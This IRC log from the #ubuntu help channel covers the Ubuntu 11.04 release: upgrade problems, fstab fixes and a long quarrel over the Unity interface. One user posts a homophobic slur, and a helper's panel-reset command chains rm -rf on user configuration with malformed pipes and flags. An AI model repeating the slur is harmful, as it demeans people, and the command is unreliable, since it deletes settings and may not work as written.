[00:01] <zookalicious> rafi - I would agree with that statement. However I remember my upgrade from 9.04 to 9.10 was when I had nothing configured special and that broke hard. Luck of the draw I suspect
[00:01] <zorlem> george_, it looks like there is some unexpected package versions
[00:01] <ohsix> zetheroo: why? so people can see a menu they can't do anything with anyways? you're presuming an educated user, an educated user can already get what they want with the classic session
[00:01] <likki> Hi, my internet/browser on ubuntu 10.04 has been acting weird for the past couple of days. When I click on a link on google search, it would redirect me to google.com. Sometimes clicking a link on a webpage would redirect me to twitter. And sometimes it would give me a google 404 error. I cannot think of anything that might have caused this and this happens randomly.
[00:02] <zorlem> george_: are you sure you didn't mix two ubuntu versions?
[00:02] <TerryBook> ok.  minimizing to the system tray does *not* work in Unity
[00:02] <LAcan> anyone know if kismet appeneds or overwrites log files?
[00:02] <Sylphid> Eathuz, whats the error message displayed?
[00:02] <Captainkrtek> is anyone using natty and has a printer?
[00:02] <Captainkrtek> if so PM me please
[00:02] <nutsfornatty> the system tray is obsolete in unity afaik
[00:03] <ohsix> TerryBook: that would be an application feature
[00:03] <pp7_> nutsfornatty: where does stuff go then? in the unity bar?
[00:03] <ohsix> nutsfornatty: indeed, you need to whitelist things that work for them to even show up
[00:03] <rafii> zookalicious: yep, older versions was more problematic :) hopefully newer version will be better :D
[00:03] <Captainkrtek> who here is using Natty?
[00:04] <Monotoko> ohsix...skype was showing up in my systray fine?
[00:04] <ohsix> who isn't, did you have a question
[00:04] <Captainkrtek> do any of you have a printer set up with natty?
[00:04] <zetheroo> ohsix: why do you keep referring to the "classic session" as a solution? It's another session entirely ... and it's not the future, or what is meant to be the future, of Ubuntu ... so as I see it what needs to be focused on is Unity and NOT the previous stuff ... but we should not be removing features or usability from the previous sessions either ...
[00:04] <ohsix> Monotoko: whitelisted
[00:04] <Captainkrtek> verifying some ubuntu documentation ohsix
[00:04] <TerryBook> if you try to minimize a program (such as xchat, for example) it vanishes completely.  the only way to get it back is to open another instance of the program, and kill the inaccessible process from the system monitor
[00:04] <pp7_> ohsix: how do u whitelist?
[00:04] <ohsix> zetheroo: it's also not the past, they are concurrent
[00:04] <TerryBook> minimize to system tray, I mean
[00:04] <Monotoko> ohsix, I see...as a developer do I need to get things whitelisted in order to make them appear in the system tray now..?
[00:05] <Eathuz> Sylphid, it's the basic: "Boot Error" - "DISK BOOT FAILURE INSERT SYSTEM DISK AND PRESS ENTER"
[00:05] <nutsfornatty> pp7_: you get a launcher icon for unity. and certain apps are allowed to place icons/info in the top bar (like the system indicators) .. and thats it
[00:05] <Captainkrtek> ohsix, are you on natty?
[00:05] <zetheroo> ohsix: well ... on one level, perhaps ... but in Ubuntu it is obvious that Unity is the future
[00:05] <ohsix> zetheroo: you are making an argument for no change at all, unity would be useless if that were the case, if you do not want something different, use what is familiar
[00:05] <rafii> who in this channel switch back to good old gnome2 classic panels from unity?
[00:05] <fermisan> guys
[00:05] <zetheroo> ohsix: Unity is now!
[00:05] <next8> hi everyone
[00:05] <LordFDisk> wow.... I have downloaded 11.04 havt not yet DNR but really so much backlashing at each other in the room .... I hope things calm down later on tonight.  I remember the good old days where you only got command line at boot
[00:05] <fermisan> how likely is the new ubuntu update to brick my machine
[00:05] <ohsix> zetheroo: don't be stupid, unity is a plugin for compiz
[00:05] <fermisan> its 44 megs
[00:05] <fermisan> what the fcuk
[00:06] <Captainkrtek> fermisan, you can never "brick" a computer really unless hardware fails
[00:06] <fermisan> i know
[00:06] <Monotoko> fermisan, very slim chance but do back up
[00:06] <nutsfornatty> fermisan: not likely if you are careful about your gfx drivers
[00:06] <RAMPKORV> snopp
[00:06] <Captainkrtek> +1 ^
[00:06] <fermisan> meh its still beta
[00:06] <zetheroo> ohsix: that's ridiculous .... change is not the issue ... as long as it's ADDING to the whole experience and NOT removing
[00:06] <Captainkrtek> fermisan, I upgraded fine
[00:06] <ohsix> Monotoko: theres an article on the wiki about it, basically if it fits the aesthetic/function standards it will be whitelisted
[00:06] <Monotoko> fermisan, it isn't beta
[00:06] <Sylphid> Captainkrtek, sure you can... bad bios flash
[00:06] <fermisan> Monotoko: it isn't?
[00:06] <Captainkrtek> Sylphid, that as well
[00:06] <fermisan> its finished?
[00:06] <Captainkrtek> fermisan, yes
[00:06] <Monotoko> fermisan, nope it was released today
[00:06] <ohsix> zetheroo: follow that thread, you keep adding and not removing, what do you get?
[00:06] <fermisan> idk guys
[00:06] <Captainkrtek> fermisan, check the homepage
[00:07] <fermisan> is 11.4 any good
[00:07] <fermisan> i feel like it is a android copy
[00:07] <Captainkrtek> fermisan, it's pretty good, still getting used to it
[00:07] <nutsfornatty> sometimes removal is better for the greater good, i dislike iOS but i admire the "unity" of the overall interface across apps (pun intended)
[00:07] <fermisan> >getting used to
[00:07] <Monotoko> fermisan, it all depends...I personally like unity, others despise it
[00:07] <zetheroo> ohsix: you know what I mean ... adding but not removing key features or usability
[00:07] <skulltip> anyone not have troubles with 11.04, upgrade go smooth as silk?
[00:07] <fermisan> well you convinced me not to use it
[00:07] <ohsix> zetheroo: the useful moves are removing old things you thought you were wed to; then you get a completely new experience and get to decide if it's sufficient
[00:07] <fermisan> is the old interface still avalible
[00:07] <Cryovat> Unity is decent if you're on a single screen with somewhat low resolution
[00:07] <fermisan> i hate the new look
[00:07] <Captainkrtek> fermisan, I come from gnome, unity is a bit different in terms of how im used to using ubuntu
[00:07] <Monotoko> fermisan, yes
[00:08] <ohsix> zetheroo: there is no panel; the panel did all the things you desire, full stop
[00:08] <Captainkrtek> I dont think it handles dual displays well enough yet
[00:08] <fermisan> Monotoko: how do i get it
[00:08] <rafii> skulltip: my upgrade 10.10->11.04 was fine :)
[00:08] <Cryovat> If you have two screens, the top menu and launcher bar becomes terrible
[00:08] <Captainkrtek> nutsfornatty, you have a printer installed in natty?
[00:08] <nutsfornatty> test unity for a week, make sure to use keyboard shortcuts and try to think of the OS in terms of full screen apps.
[00:08] <Monotoko> fermisan, just choose "ubuntu classic" when you log in
[00:08] <Cryovat> Tbh
[00:08] <zetheroo> ohsix: well having a menu which makes me have to make more clicks to get to an app than before is NOT sufficient ...
[00:08] <Cryovat> Gnome 3 works much better than Unity imo
[00:08] <Monotoko> zetheroo...just use the super key
[00:08] <ohsix> Cryovat: not many people use multiple monitors, you should see about communicating how it can be improved
[00:08] <RAMPKORV> The problem I had was that Xinerama doesn't seem to work in Unity
[00:08] <ohsix> zetheroo: then you use what is
[00:08] <TerryBook> what's the "super key"?
[00:08] <Captainkrtek> does anyone have a printer installed in Natty?
[00:09] <api1996> Hey everyone.  I'm running 10.10 on a wubi install.  Has anyone reported success updating a wubi install from 10.10 to 11.04?
[00:09] <Sylphid> Eathuz, is the usb device plugged into a front or rear port?
[00:09] <zetheroo> Monotoko: how does that go?
[00:09] <nutsfornatty> captainkrek: not yet, i have an hp wireless laser printer. going to be troublesome getting that to work
[00:09] <Monotoko> TerryBook, the WIndows key
[00:09] <RAMPKORV> So I'm using Twinview, but full-sceen apps don't work so well
[00:09] <Eathuz> Sylphid, thanks for trying to help. I gave up and spent 10 minutes trying to find an empty CD. Found one and it's booting fine. I guess USB booting is simply out of the question
[00:09] <Cryovat> ohsix: The general problem is that application switching has turned really inconvenient
[00:09] <kzman> hi, how can i upgrade from 10.04 to 11.04?
[00:09] <zetheroo>  ohsix: haha ... and your back to that ;)
[00:09] <Monotoko> zetheroo, it brings up a menu which you can seatch from
[00:09] <Cryovat> And I hate how they copied the mac menu
[00:09] <Cryovat> It's terrible
[00:09] <Captainkrtek> nutsfornatty, verifying the ubuntu-doc for the printing setup
[00:09] <TerryBook> ahh, ok
[00:09] <sebsebseb> kzman: through 10.10, and it will be a bit slow at the moment
[00:09] <ohsix> RAMPKORV: nice, thats tough though, the proprietary drivers only do xinerama; and they fake it, and only because the drivers don't do xrandr 1.2+
[00:09] <Cryovat> WOrks on a netbook, but on a full desktop, it just fails
[00:09] <sebsebseb> it seems
[00:09] <Eathuz> Sylphid, tried both, no improvement. But it doesn't matter anyway. Thanks for taking your time :)
[00:09] <zetheroo> Monotoko: yeah ... that is kinda what I have been talking about ...
[00:09] <sebsebseb> !upgrade | kzman
[00:09] <ubottu> kzman: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[00:09] <entity> [dlp]: I have a paste with my error and fstab contents: http://paste.ubuntu.com/600504/
[00:09] <joepa> I'm unable to pin apps to the Launcher in unity, anyone else having this problem?
[00:10] <sebsebseb> kzman: and since 10.04 is LTS it will only show LTS's by default
[00:10] <Monotoko> joepa, how come?
[00:10] <rcmaehl_rant> What's the name of the default theme for 11.04/
[00:10] <sebsebseb> rcmaehl_rant: Ambiance
[00:10] <nutsfornatty> app switching is easy, i use 8 virtual windows and win+s  or win+w
[00:10] <api1996> will updating a wubi install of 10.10 to 11.04 work?
[00:10] <Sylphid> Eathuz, no problem... sorry i couldnt help, though it may be a bios bug you may want to try updating, i cant think of any other reason if it worked fine on another box
[00:10] <RAMPKORV> ohsix, when playing games in Fullscreen, I get a fullscreen across two 16:9 screens, which isn't so pretty
[00:10] <RAMPKORV> :D
[00:10] <Cryovat> It's ok if you're using keyboard
[00:10] <Monotoko> api1996, it should do
[00:10] <joepa> Monotoko: I right click, choose "Keep in Launcher," logout, log back in, and it's gone
[00:10] <Sexygurl2furl> is it normal for the upgrade download to take forever?
[00:10] <RAMPKORV> But I'm not really doing it much, so
[00:10] <Cryovat> But with a mouse, it's a big hassle
[00:10] <ohsix> RAMPKORV: thank nvidia :D
[00:10] <pylix> when does 10.10 stop being supported?
[00:10] <joepa> Monotoko: am I missing something?
[00:10] <Captainkrtek> if anyone has a printer installed in Natty please please PM me
[00:10] <api1996> thanks monotoko
[00:10] <zetheroo> Monotoko: see that is well and all if you know the app your looking for ... although it still involves typing .. more work than before again ... but say you want to look at all your apps in a category ... ... it is not as quick as before
[00:11] <nutsfornatty> cryovat: what OS do you find is easier for app switching?
[00:11] <ohsix> RAMPKORV: you could try the nouveau driver, it does xrandr
[00:11] <Eathuz> Sylphid, I agree. I'll try that later on. It's rather late here, so didn't think that far :)
[00:11] <Cryovat> nutsfornatty: It worked great in Gnome 2 with a panel with a task switcher on each screen
[00:11] <Sylphid> pylix, 2 years of support if i remember correctly
[00:11] <RAMPKORV> ohsix, aye
[00:11] <pylix> okay thanks
[00:11] <Cryovat> Gnome 3 also works very nice out of the box for switching apps on multiple screens
[00:11] <ohsix> zetheroo: not as quick for your trained behaviour, someone with different experience will have different circumstance
[00:11] <RAMPKORV> I hope it does Geforce 210 well
[00:12] <Monotoko> joepa...that should work...is it a new install or did you update? and zetheroo, I like to use my mouse as little as possible, find it slows me down
[00:12] <fermisan> update is still slow as fuck
[00:12] <joepa> Monotoko: update
[00:12] <joepa> Monotoko: from 10.10
[00:12] <Sexygurl2furl> <Sexygurl2furl> is it normal for the upgrade download to take forever?
[00:12] <Cryovat> Unity  feels like it's designed without taking high resolutions or multiple screens into account at all
[00:12] <zetheroo> Monotoko: hectic ;)
[00:12] <Blue1> fermisan: d/l the iso now, what can I expect?
[00:12] <rafii> unity not improve workflow, it's only eye-candy...
[00:12] <nutsfornatty> cryovat: i see your point. perhaps a few indicators for windows and window switching that can be customized would improve the mouse workflow
[00:12] <Monotoko> joepa, sounds like a permissions issue to me...not quite sure which file it will be though
[00:12] <Sexygurl2furl> can somebody pls help me?????
[00:12] <yofel> pylix: nope, 12 months from now https://wiki.ubuntu.com/Releases
[00:12] <Cryovat> The solution is pretty easy raelly
[00:12] <Cryovat> *really
[00:12] <Monotoko> joepa, try to make a new account and see if it does the same
[00:12] <Cryovat> One launcher per screen
[00:12] <zetheroo> ohsix: true, hence why not accommodate both behaviours!?
[00:13] <ohsix> Cryovat: thats not far from the truth; you know netbook sales swamp notebook sales right? and notebooks beat desktop sales
[00:13] <joepa> Monotoko: good idea
[00:13] <Cryovat> But the Unity people seem to have a religious issue with that thought
[00:13] <Eathuz> !helpme | Sexygurl2furl
[00:13] <ubottu> Sexygurl2furl: Avoid following your questions with a trail of "Please, help me", "Can nobody help me?", "I really need this!", and so on. This just contributes to making the channel unreadable. If you are not answered, ask again later; but see also !repeat and !attitude
[00:13] <Cryovat> ohsix: I know, but
[00:13] <Soothsayer> Can two computers on the same network have the _same_ mac address ?
[00:13] <Sexygurl2furl> !repeat
[00:13] <ubottu> Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[00:13] <progre55> hi guys. just upgraded to natty, but cannot install the flashplugin. getting this "flashplugin-installer depends on nspluginwrapper (>= 0.9.91.4-2ubuntu1); however: Package nspluginwrapper is not configured yet." any suggestions please?
[00:13] <alien-007> hi guys,,in booting 10.4 LTS on Mac Ibook G4,,but installer stops in the keyboard option,,,i try many times and keep doing the same,,what can i do ?
[00:13] <Sexygurl2furl> !attitude
[00:13] <ubottu> The people here are volunteers, your attitude should reflect that. Answers are not always available. See http://wiki.ubuntu.com/IRC/Guidelines
[00:13] <pp7_> Soothsayer: no
[00:13] <Cryovat> If you're designing a desktop environment for general use across all form factors, then you need to make it scalable
[00:13] <ohsix> zetheroo: you are one person, introduce a third with different experience from the first, accomodate all 3?
[00:13] <Sylphid> pylix, sorry was wrong 1.5 years
[00:13] <TerryBook> Soothsayer:  no.  MAC address is hardcoded into the network card
[00:13] <pp7_> Soothsayer: not unless u tell them to
[00:13] <zetheroo> ohsix: anyhow ... it's going to be ok ... just make me change my computing habits ... yet again :P
[00:13] <ohsix> zetheroo: take that to the possible number of all possible linuxusers
[00:14] <Cryovat> The Unity team seem like they just ignored scaling at all, and then at the end of the design process realized that someone might be running two screens
[00:14] <Monotoko> zetheroo, you should be used to it within a few days :P
[00:14] <xinel> okies the problem is with encryption with the alternative 64bit 11.04 install, works fine with raid and no encrypted drives :(
[00:14] <reeceb> anybody have an idea how to get around no DHCPOFFERS received?
[00:14] <Soothsayer> TerryBook, pp7_ : No I'm going to be setting the mac address manually (through some or other methods online).
[00:14] <kzman> to upgrade from 10.04 to 11.04, do i have to upgrade to 10.10 at first?
[00:14] <Omen_20> Anyone using Banshee 2.0?
[00:14] <Soothsayer> My ISP's login client is locked to a mac address!
[00:14] <nutsfornatty> cryovat: im sure someone will expand upon the basic unity configuration options. till then, we still have classic ubuntu as an option
[00:14] <ohsix> zetheroo: thats just to say, the important thing is you are advocating your preference, which is fine but not objective, and as stated already would lead to no change
[00:14] <Cryovat> Yeah
[00:15] <zetheroo> ohsix: look mate, there is nothing new or crazy about making your bleeding main menu customisable ... nothing new about that at all ... it's nothing complex either ... so it should be in here ... period
[00:15] <Cryovat> I'm sticking to Gnome 2
[00:15] <pp7_> Soothsayer: not sure how that will work, how will each machine know what packets are designated for it?
[00:15] <Cryovat> It just works better for my needs
[00:15] <crazed]psyc> hi, excuse me...
[00:15] <lucas> could someone propose which filesystem is best to use for casper-rw patition on a slow usb-stick?
[00:15] <TerryBook> Soothsayer:  sounds like your ISP has problems and you need to complain to them.  but MAC addresses need to be unique even moreso than IP addresses
[00:15] <[dlp]> entity: Ubuntu 11.04 has probably enumerated the drives differently for some reason... so /dev/sda1 could become /deb/sdb1
[00:15] <[dlp]> Use UUID's in fstab instead
[00:15] <Soothsayer> hmm...
[00:15] <crazed]psyc> is ath9k a proprietary driver?
[00:15] <ohsix> zetheroo: it's not about new, or being complex
[00:15] <Soothsayer> ye, true.
[00:15] <Cryovat> I just wish the Gnome team wouldn't have been so stubborn in regards to app indicators in Gnome 3
[00:15] <ohsix> zetheroo: it's about nobody freshly introduced to it, needing to do it at all
[00:15] <Cryovat> I'd have been sold on Gnome 3 with appindicators
[00:15] <entity> [dlp]: how do I do that? I dont have write access to anythng, even as root
[00:15] <Monotoko> crazed]psyc, I believe so
[00:16] <th0r> Soothsayer: you can set both computers to use the same mac, so long as only one is online at a time
[00:16] <crazed]psyc> Is there a FOSS replacement for ath9k?
[00:16] <nutsfornatty> cryovat: i like the indicator change. far too many apps put needless icons in the task bars
[00:16] <Cryovat> Yeah
[00:16] <Monotoko> entity, reboot in single-user mode
[00:16] <Cryovat> It's about time someone tackled it
[00:16] <entity> Monotoko: single-user mode?
[00:16] <bastidrazor> Soothsayer: then get a router that allows you to set its mac address
[00:16] <ohsix> i think a whitelist would have been a good start
[00:16] <zetheroo> ohsix: that's rubbish ... your saying that someone new to Ubuntu who uses Unity as their first desktop is not going to want to customise anything? rubbish
[00:16] <Monotoko> entity, hold on I have a command that will let you have write access again
[00:16] <Cryovat> Just a shame the Gnome team suffers from not-invented-here syndrome
[00:17] <nastjuid> crazed]psyc: check out madwifi
[00:17] <ohsix> zetheroo: you forget your a-priori information you carry from gnome
[00:17] <Soothsayer> bastidrazor: I do have that in place. But this ISP's login client won't be able to fetch that mac address anyway!
[00:17] <entity> Monotoko: this is my problem: http://paste.ubuntu.com/600504/
[00:17] <nastjuid> crazed]psyc: http://madwifi-project.org
[00:17] <ohsix> zetheroo: they will probably not even think about it
[00:17] <alien-007>  hi guys,,in booting 10.4 LTS on Mac Ibook G4,,but installer stops in the keyboard option,,,i try many times and keep doing the same,,what can i do ?
[00:17] <fermisan> why is shuttleworth such a faggot
[00:17] <[dlp]> entity: When you get the boot menu.
[00:17] <nutsfornatty> on the bright side, we are only going to gain customization options for unity from here forward
[00:17] <zetheroo> ohsix: I work with new Ubuntu users all the time ... I know what they go for right away ... they want to customise!!!
[00:17] <mnoyce> ninjai: You can also open multiple windows by clicking with the middle mouse button on the launcher icon.
[00:18] <ohsix> zetheroo: my mom uses classic but she doesn't know or care that she can change things
[00:18] <lucas> could someone propose which filesystem is best to use for casper-rw partition on a slow usb-stick?
[00:18] <[dlp]> entity: Remount read-write.
[00:18] <entity> Monotoko: the stuff in the paste i sent you occur directly after selecting the top ubuntu entry in the boot menu.
[00:18] <entity> [dlp]: I thought the problem is that / will not mount at all...
[00:18] <Chubcorp> I want to backup my system, how do I tell it to place the backup.tgz file on an external HDD? I'm newish.
[00:18] <commodore64th> My launcher and taskbar are missing, I can't use keyboard shortcuts liek alt-tab, and I can't resize or move any windows. Also, windows don't have borders... What do I do?
[00:18] <Monotoko> entity, do you only have one hard drive?
[00:18] <ohsix> zetheroo: you still have a special case; if you weren't arguing for your preference already it might even be notable
[00:19] <commodore64th> This is Ubuntu 11.04 beta 2
[00:19] <entity> Monotoko: yes.
[00:19] <zetheroo> ohsix: well your mom is one person ...and she is your mom ... I am talking about the new generation of computer-savvy people ... which far outnumber the rest
[00:19] <likki> Hi, my internet/browser on ubuntu 10.04 has been acting weird for the past couple of days. When I click on a link on google search, it would redirect me to google.com. Sometimes clicking a link on a webpage would redirect me to twitter. And sometimes it would give me a google 404 error. I cannot think of anything that might have caused this and this happens randomly. Any help?
[00:19] <ohsix> zetheroo: people aren't computer saavy, they're merely more familiar with some concepts
[00:19] <delu> Hi, I just switched to Natty today and I've noticed that when I switch between viewports/workspaces in Classic, my docks and my panels all move instead of just my windows, like they did in Maverick. How can I change this?
[00:19] <nutsfornatty> really computer savvy people dont want to waste time on customization. they want it to just work imo.
[00:19] <zetheroo> ohsix:  I am arguing for what I can see others are going to want ... based on having been putting newbies to Linux for over 5 years ...
[00:19] <Monotoko> entity, run fdisk -l
[00:20] <Monotoko> on the manual recovery
[00:20] <Monotoko> see what it says
[00:20] <ohsix> zetheroo: you find that the concepts change and you find some saavishy confused people
[00:20] <zetheroo> ohsix: the new generation are more computer savvy than my mom ... that is what I was referring to
[00:20] <ohsix> zetheroo: you are arguing for you, you want it,  you are saying you see other people want it to give you some sort of credit for having asked for it
[00:20] <Chubcorp> commodore64th, I had the same problem you have to run the window manager in a terminal, I just can't remember the name of it right now.
[00:21] <commodore64th> tartar sauce.
[00:21] <zetheroo> ohsix: yes, and some concepts don't change ... like the basic ones :P
[00:21] <Monotoko> entity,  if you need to edit the fstab to be correct, all you need to do is boot from liveCD and edit it
[00:21] <ohsix> zetheroo: like i said, "computer saavy" is an empty statement
[00:21] <leagris> where can I get the correct french/french 105k euro layout. All layouts available are false
[00:21] <TerryBook> ok.  this is ticking me off.  is there a way to revert to a previous version without completely reinstalling?
[00:21] <commodore64th> What happened is I was trying to change some settings in compiz-fonfig, then it disappeared all of a sudden.
[00:21] <Monotoko> TerryBook, what's pissing you off?
[00:21] <commodore64th> rebooting doesn't help.
[00:21] <Monotoko> the UI?
[00:21] <commodore64th> maybe I disabled it by accident?
[00:21] <ohsix> zetheroo: people aren't car saavy, they can just understand pedals and a wheel after some instruction,  you change the pedals or the wheel, they'll want what they know back
[00:22] <zetheroo> ohsix: well I see your speaking from your vast experience of having put your mom onto Linux ...so who am I to question THAT!? :D
[00:22] <nutsfornatty> switch to classic ubuntu instructions: go to login screen -> look at bottom panel -> change "ubuntu" to "ubuntu classic" -> login -> done
[00:22] <TerryBook> Monotoko:  no, I'm in gnome.  certain programs I use on a daily basis are now crashing every time I switch window focus
[00:22] <Monotoko> TerryBook, did you upgrade or reinstall?
[00:22] <TerryBook> upgrade
[00:22] <talntid> Commander1024: metacity --replace &
[00:22] <likki> Hi, my firefox browser on ubuntu 10.04 has been acting weird for the past couple of days. When I click on a link on google search, it would redirect me to google.com. Sometimes clicking a link on a webpage would redirect me to twitter. And sometimes it would give me a google 404 error. I cannot think of anything that might have caused this and this happens randomly. Any help?
[00:23] <ohsix> zetheroo: vast experience of people inflatingt themselves into "people" and insisting their not arguing poorly for their own ends, but the "peoples", you are deluding yourself
[00:23] <Monotoko> TerryBook, that could be the issue...first thing I'd do is create a new account
[00:23] <Chubcorp> commodore64th, it's called metacity run that in a terminal, and it should all reappear
[00:23] <commodore64th> Chubcorp, thanks; I'll try that.
[00:23] <[dlp]> entity: If your root partition wasn't mounted you wouldn't be able to read /etc/fstab
[00:23] <leagris> fucking wrecked french keyboard layout can not get the sharp symbol anymore
[00:23] <chotaz> Quick question, I was upgrading from Maverick to Narry, and my city went throught a complete blackout, now whenever I try to boot my ubuntu box it says the Hard drive is not ready or no present, I can keep waiting or Press S to skip mount and M to manual recovery, what should I do.
[00:23] <chotaz> Narry*
[00:23] <xinel> so anybody else trying encrypting all their drives with 11.04?
[00:23] <talntid> Chubcorp, lol. I beat you to it, but he gave you the credit. drats! :P
[00:23] <[dlp]> Or anything else, for that matter.
[00:23] <zetheroo> ohsix: yep ... as are you ;)
[00:23] <kbrosnan> likki: middle clicking on links?
[00:23] <Chubcorp> talntid, haha, winner!
[00:24] <talntid> Ah, I use the wrong nick, to tell him. darn autocomplete let me down! ahh!!!
[00:24] <TerryBook> Monotoko:  the program I'm having trouble with isn't installed system-wide, it's in my home directory
[00:24] <likki> kbrosnan: middle clicking?
[00:24] <Slimcea_boy> Why is #ubuntu+1 invite-only, and may I please be invited? I would like to ask some questions about the next release.
[00:24] <zetheroo> ohsix: your speaking for change without thinking of basic common sense ... like customisation ... that is hardly change for the better!
[00:24] <ohsix> zetheroo: i'm me, and my persona experience with my mother,i'm not oresuming to speak for untold numbers of people that happen to agree with what i'm trying to have done
[00:24] <nutsfornatty> likki: install chrome or chromium from the software center and see if your url clicks work properly there
[00:24] <Monotoko> Slimcea_boy, you'll need to be patient...they'll reopen in a week or two
[00:24] <kbrosnan> likki: using the middle mouse button
[00:24] <ohsix> zetheroo: common sense is a red herring, often used as a cudgel; like "you don't think like me"
[00:25] <Eathuz> I want to install Ubuntu on a partition of a harddrive I already "prepared" or rather made it already. Where should I install the bootloader? Should this be on the W7 partition?
[00:25] <nutsfornatty> likki: if they do, something screwed up your firefox install.. or like the others mentioned.. you are middle clicking
[00:25] <leagris> where is the sharp symbol on the new fr layout?
[00:25] <likki> kbrosnan: my links works some times on google chrome when it doesn't on firefox
[00:25] <Chubcorp> commodore64th, did it work?
[00:25] <likki> kbrosnan: is that the scroll wheel?
[00:25] <commodore64th> Chubcorp, yeah, but I still need my launcher...
[00:25] <kbrosnan> likki: yes
[00:25] <commodore64th> and taskbar
[00:25] <nutsfornatty> likki: make sure you are not shifting focus between multiple firefox tabs by accident
[00:25] <leagris> !french
[00:25] <ubottu> Ce canal est en anglais uniquement. Si vous avez besoin d'aide ou voulez discuter en francais, merci de rejoindre #ubuntu-fr, ou #ubuntu-qc. Merci.
[00:25] <ohsix> zetheroo: nobody has said it was change for the better, and without time nobody will know, it is merely different
[00:25] <Chubcorp> commodore64th, on the task bar?
[00:25] <zetheroo> ohsix: ok, well I gtg ... work and that ... good luck with all that ;)
[00:26] <commodore64th> my taskbar is missing and my launcher is missing
[00:26] <ohsix> zetheroo: i'm fine thanks
[00:26] <likki> kbrosnan: how can I fix it on firefox?
[00:26] <chotaz> Good night everyone. Quick question, I was upgrading from Maverick to Natty, and my city went throught a complete blackout, now whenever I try to boot my ubuntu box it says the Hard drive is not ready or no present, I can keep waiting or Press S to skip mount and M to manual recovery, what should I do.
[00:26] <george_> Good evening. I've tried to upgrade my distro, but there were some troubles. I'm currently stucked, due to the command sudo apt-get dist-upgrade results in the following http://pastie.org/1845252. Could someone help me to solve that? Thanks. Someone told me to run apt-get --ignore-hold dist-upgrade. Is that safe?
[00:26] <zetheroo> ohsix: yeah ... sure
[00:26] <Chubcorp> commodore64th, just add new panel and add everything, that's all I can think of to do.
[00:26] <skulltip> as long as the gui doesn't cramp my FPS-game playing ways, i'll be fine with 11.04
[00:26] <talntid> commodore64th: gconftool-2 -shutdown | gconftool -recursive-unset /apps/panel | rm -rf ~/.gconf/apps/panel | pkill gnome-panel
[00:27] <kbrosnan> likki: first I need to know if you are using the scroll button to click on links, else my suggestion is meaningless
[00:27] <ohsix> even post gnome-shell i'll be using the panels & nautilus, so i really couldn't care less
[00:27] <ohsix> unfortunately the panel or something like it is make or break for me
[00:27] <Chubcorp> I want to backup my system, how do I tell it to place the backup.tgz file on an external HDD? I'm newish.
[00:28] <Eathuz> When installing Ubuntu, which partition type should I use? And since I'm dual booting it with W7, should I install the boot loader on the same drive as the W7 boot loader?
[00:28] <likki> kbrosnan: I'm not using my scroll button to click on links
[00:28] <nutsfornatty> likki: the pages you are accessing when you click on urls, are they pages you have already seen? or are they new pages? (wondering if you are toggling your history urls by accident )
[00:28] <ohsix> Chubcorp: how do you tell what? you should try deja-dup, it's nice; and will start missed backups when you plug the backup volume back in
[00:28] <talntid> Chubcorp, mount the external hard drive. if it's already mounted, find out where by typing "mount" - then, just specify it's mount location when backing up.
[00:28] <ohsix> talntid: wat
[00:28] <triunity> Question, 11.04 is out, since it has a new gui, should i reformate or just upgrade?
[00:29] <todd_dsm> how would you use dpkg to show where the contents of a package were installed? I'm trying to find out what all get's installed with ldap-utils, and where.
[00:29] <likki> nutsfornatty: sometimes they are pages that i have already visited.
[00:29] <talntid> commodore64th, did that work?
[00:29] <commodore64th> talntid, it didn
[00:29] <commodore64th> t
[00:29] <bastidrazor> todd_dsm: dpkg -L packagename
[00:29] <talntid> what did it do/not do?
[00:29] <entity> [dlp]: Monotoko http://paste.ubuntu.com/600512/
[00:29] <nutsfornatty> deja dup is awesome
[00:29] <[dlp]> entity: Use blkid to find UUID.
[00:29] <ohsix> triunity: upgrades work, unity is like .001% of all of the gnome situation on natty; just use the classic session if you wish
[00:29] <commodore64th> I get an error: unknown option -recorsive-unset
[00:29] <talntid> recursive, not recorsive
[00:30] <commodore64th> whoops
[00:30] <entity> ok got the UUID of the partitions
[00:30] <acicula> Eathuz: eh the type should be Linux, the bootloader files go on the linux partition, but you can install the bootloader to the first disk
[00:30] <triunity> Ok... thanks for the heads up ohsix
[00:30] <commodore64th> actually, I did spell it right in the terminal
[00:30] <todd_dsm> bastidrazor: cool, that did it, thanks man.
[00:30] <Chubcorp> http://ubuntuforums.org/showthread.php?t=35087 I went here and when it says to go to the root of the filesystem, as in that's where it's going to put the backup, I don't want the backup there. It says cd/
[00:30] <bastidrazor> todd_dsm: you're welcome.
[00:30] <ohsix> likki: i'd check what extensions you're using, anything outside of firefox isn't going to do that
[00:30] <acicula> !dualboot| Eathuz look here as well
[00:30] <ubottu> Eathuz look here as well: Dual boot instructions: x86/AMD64: https://help.ubuntu.com/community/DualBoot/Windows - Macs: https://help.ubuntu.com/community/MacBookPro https://help.ubuntu.com/community/YabootConfigurationForMacintoshPowerPCsDualBoot
[00:30] <nutsfornatty> likki: sometimes? hum. make sure ask you click a url you do not see the url bar (where you enter the txt url like http... ) change or flash
[00:30] <ohsix> triunity: if you have compiz settings you want to migrate you will probably have to do it manually
[00:31] <entity> [dlp]: okay so I got the UUID for the partitions. What do I do with that?
[00:31] <commodore64th> BTW, talntid, I'm using Ubuntu 11.04
[00:31] <ohsix> triunity: since it's been updated to .9, and theres a migration thing but it misses about everything
[00:31] <talntid> try gconftool-2
[00:31] <nutsfornatty> likki: also make sure you are not accidentally hitting your keyboard keys as you mouse click
[00:31] <triunity> I have a netbook, pretty normal setup (though i use desktop edition because unity sucks in 10.10)
[00:31] <commodore64th> have to reboot...
[00:31] <[dlp]> entity: Replace /dev/sda2 with UUID=... in /etc/fstab
[00:32] <[dlp]> entity: Make sure it's the right partition!
[00:32] <commodore64th> does gconftool-2 run in GUI mode?
[00:32] <hypetech> is there a way to do full disc encryption with natty desktop?  I saw the option in server install, but not desktop
[00:32] <Chubcorp> ohsix, http://ubuntuforums.org/showthread.php?t=35087 I went here and when it says to go to the root of the filesystem, as in that's where it's going to put the backup, I don't want the backup there. It says cd/
[00:32] <ohsix> triunity: well they ditched mutter & made it a compiz plugin so it works a lot differently
[00:32] <ohsix> hypetech: ugh
[00:32] <likki> nutsfornatty: its not doing it now since it is usually random.. Sometimes it would give me a google 404 error. This problem would happen on google chrome also if i paste the link there.
[00:32] <hypetech> ohsix: ?
[00:32] <entity> delete "/dev/sda2"? and replace with "UUID=<big string
